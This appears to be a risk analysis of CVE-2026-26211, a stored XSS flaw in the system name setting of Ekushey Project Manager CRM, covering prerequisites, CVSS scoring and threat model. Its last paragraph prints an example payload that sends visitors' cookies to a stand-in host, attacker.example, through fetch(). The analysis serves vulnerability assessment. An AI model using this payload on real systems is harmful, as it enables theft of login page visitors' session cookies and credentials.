Ekushey Project Manager CRM CVE-2026-26211

A valid administrator session in Ekushey Project Manager CRM is required to write the malicious system name value - this is the sole prerequisite for arming the attack. Once set, no further conditions or attacker interaction are needed: the payload fires automatically for every visitor who loads the login page, including completely unauthenticated users. The co-location of the XSS payload with the username and password fields on the same page and same origin is what elevates the downstream risk. Limiting factors are: (1) the attacker must first compromise or control a legitimate administrator account; (2) the impact is browser-origin-scoped - no server-side code execution occurs; (3) if the CRM sets the HttpOnly flag on session cookies, direct cookie theft is blocked, though DOM-based credential interception via the login form fields on the same page remains viable. The absence of a special deployment configuration or non-default feature requirement means any internet-exposed Ekushey CRM instance where admin credentials are compromised is fully exposed.

The CVSS 4.0 score of 4.8 (Medium) accurately captures the central tension: the attack vector is network with low complexity (AV:N/AC:L), but exploitation requires a high-privilege administrator session to set the payload (PR:H), which is the decisive limiting factor. The subsequent-system impact metrics (SC:L/SI:L) reflect that the XSS executes in visitors' browsers within the CRM origin - an environment that includes credential input fields - making the downstream impact meaningful despite the moderate score. The availability of a public PoC on GitHub lowers the technical barrier to exploitation once admin access is in hand, but no CISA KEV listing or EPSS score is available to quantify actual exploitation prevalence. The most realistic threat model is an insider-threat or post-admin-compromise scenario; for deployments with tightly controlled administrator accounts the urgency is low, but for those with shared or weakly protected admin credentials, the persistent nature of the payload escalates the realistic risk. No conflicting signals are present in the data - the CVSS vector is internally consistent with the described behavior.

An attacker who obtains administrator credentials through phishing or credential stuffing logs into the CRM admin panel and sets the system name to a payload such as '<img src=x onerror=fetch("https://attacker.example/c?"+document.cookie)>'. From that point forward, every visitor who loads the login page - including legitimate users about to type their credentials - executes the script in the CRM origin's context, exfiltrating session cookies or enabling DOM manipulation to silently redirect submitted credentials. The public PoC at https://github.com/LindHunt/CVE-2026-26211 confirms this attack path is reproducible.